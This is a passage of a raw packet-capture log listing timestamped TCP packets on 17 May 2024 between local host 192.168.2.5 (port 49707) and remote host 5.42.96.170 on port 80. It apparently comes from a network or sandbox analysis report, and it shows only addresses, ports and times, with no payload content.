May 17, 2024 23:45:15.530029058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.530350924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.530431986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.530431986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.530482054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.530538082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.530549049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.530616999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.530616999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.530616999 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.531162977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.531172991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.531182051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.531191111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.531200886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.531256914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.531256914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.531256914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.532049894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532061100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532068014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532078028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532088041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532097101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532130957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.532130957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.532155991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.532947063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532958031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.532999992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.533348083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533358097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533366919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533375978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533385038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533394098 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.533402920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533411980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.533427954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.533427954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.534074068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.534322977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534332991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534342051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534351110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534359932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534369946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534379005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.534416914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.534416914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.534416914 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.535314083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.535324097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.535331964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.535341024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.535351038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.535362005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.535368919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.535783052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.535783052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.536312103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536322117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536334038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536344051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536351919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536362886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536370993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.536413908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.536413908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.536413908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.536413908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.537221909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537233114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537240982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537250996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537261009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537317991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.537317991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.537954092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537964106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537971973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537983894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.537992954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.538002968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.538013935 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.538024902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.538024902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.538140059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.538140059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.538992882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539004087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539011955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539021015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539028883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539038897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539047956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539094925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.539094925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.539094925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.539680004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539690018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539699078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539709091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539716959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539727926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539736986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539747953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.539783955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.539783955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.539783955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.539783955 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.540667057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540678024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540685892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540694952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540704012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540712118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540720940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.540729046 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.540765047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.540765047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.541702986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541712999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541721106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541729927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541739941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541749001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541759014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541769028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.541784048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.541784048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.541784048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.541965008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.542530060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.542540073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.542546988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.542599916 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.566832066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.566956043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.693901062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.693983078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.694251060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694345951 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.694422007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694432020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694505930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.694505930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.694581985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694592953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694598913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694624901 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.694679976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.694776058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694786072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.694838047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.695097923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695107937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695116997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695158005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.695158005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.695400000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695409060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695417881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695426941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695436954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.695549965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.695549965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.696193933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696202993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696209908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696217060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696227074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696235895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696245909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.696253061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696263075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696273088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.696324110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.696324110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.696324110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.697036028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697196960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697206974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697213888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697247982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.697263002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697273016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697282076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697290897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697299957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697309017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.697309017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.697319984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.697778940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.697778940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.697778940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.698246002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698256016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698263884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698272943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698282003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698292017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698296070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.698364019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.698364019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.699234962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699244976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699254036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699264050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699274063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699285030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699294090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699302912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.699342966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.699342966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.699342966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.699342966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.700248957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700258970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700265884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700275898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700284958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700295925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700304985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700313091 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.700320959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.700330019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700339079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.700396061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.700396061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.700396061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.700396061 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.701201916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701211929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701220036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701229095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701237917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701248884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701256990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701267958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.701267958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.701284885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701320887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.701322079 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.701966047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701975107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701982975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.701991081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702001095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702009916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702018976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702029943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702039957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702050924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702050924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702050924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702050924 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702636957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702882051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702892065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702899933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702908993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702918053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702928066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702938080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702949047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702960968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702960968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702970028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.702991962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.702991962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.703011990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.703804016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703819990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703830004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703840017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703850031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703860044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703870058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703880072 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.703880072 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.703896046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.703908920 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.703908920 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.703933954 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.704699993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704710007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704719067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704727888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704736948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704747915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704757929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704767942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704777956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.704806089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.704806089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.704806089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.704806089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.705602884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705614090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705621958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705631971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705641031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705651045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705662012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705671072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705679893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.705679893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.705679893 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.705693960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.705740929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.705740929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.705740929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.706475973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706485987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706494093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706502914 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706512928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706523895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706532955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706542969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706552029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.706593990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.706593990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.706593990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.706593990 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.707375050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707386017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707395077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707403898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707412958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707425117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707433939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707443953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707453966 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.707492113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.707492113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.707492113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.707492113 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.708281040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708292007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708301067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708309889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708319902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708328962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.708338022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708349943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.708359003 CEST	80	49707	5.42.96.170	192.168.2.5
